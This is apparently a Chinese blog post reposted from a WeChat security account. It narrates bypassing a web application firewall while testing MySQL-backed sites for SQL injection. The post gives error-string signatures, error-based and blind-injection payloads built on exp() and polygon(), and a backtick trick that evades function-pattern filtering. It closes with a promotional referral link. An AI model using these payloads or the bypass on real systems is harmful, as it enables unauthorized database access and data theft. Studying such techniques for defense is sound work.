通用sql
Unknown column|SQL syntax|java.sql.SQLSyntaxErrorException|Error SQL:|附近有语法错误|java.sql.SQLException|引号不完整|SQL Execution Error|XPATH syntax|DOUBLE value is out of range in|SqlException exception|Unclosed quotation mark|different number of columns|value found during|String SQLString||Incorrect syntax near| FUNCTlON XX does not exist|引号内的字符串|SQLException
然后在hae里面查找某个Host
已经确定是Mysql就直接来一发 payload
'||polygon(id)||'
'||exp(710)||'
'||exp(709)||'
'||exp(720-length(user()))||'
'||exp(710-length(user()))||'
不是哥们,一发入魂了,库名 表名 和字段名全出来了,这还不是手拿把掐
???
好家伙考验我水平是吧,这诗人?
那我们就来盲注一下,也许是拦截字符串截取函数
'||right(database(),100)like'{{array(_|__|___|____|_____|______|_______|________|_________|__________|___________|____________|_____________|______________|_______________)}}'||'
1'||mid(database(),1,1)='{{array(a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|.|_|@|0|1|2|3|4|5|6|7|8|9)}}'||'
玩我是吧,这下一眼丁真了,鉴定为纯纯的桂物了,
好了上面这个只是个开胃菜,
下面这位师傅的才是重头戏
简单的单引号判断注入点是否存在
继续根据上面的思路上payload
'||exp(709)||'
这次被拦了,先找一下拦截原因是什么
简单测试后发现去掉(709)就不拦了,基本上可以判断规则匹配的是函数形式的字段不是exp关键字,所以我们可以用反引号来绕过
'||`exp`(709)||'
'||`exp`(710)||'
依葫芦画瓢把剩下的payload也给打上
果然没被拦,但是又有新的报错
分析报错我们可以看到 FUNCTION does not exist
我们就换其他的语句试试
把user()换成current_user
这下没问题了
接下来只需要依次尝试增加exp里数字的值即可判断出用户名字长度了
user的长度为6位
暂时到这里,水平浅薄简单记录下学习思路,希望可以给各位师傅提供一点参考帮助!下篇再继续分享获取字段值的过程。
最后给大家推荐一个专注于网络安全领域的技术交流平台——无问社区,里面不仅有许多关于最新安全技术、工具使用教程以及最佳实践案例的文章资料,也有着许多新的漏洞资讯。
https://www.wwlib.cn/index.php/login/icode/590ae16fda9401a6
原文始发于微信公众号(安全的黑魔法):记一次绕waf的过程(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论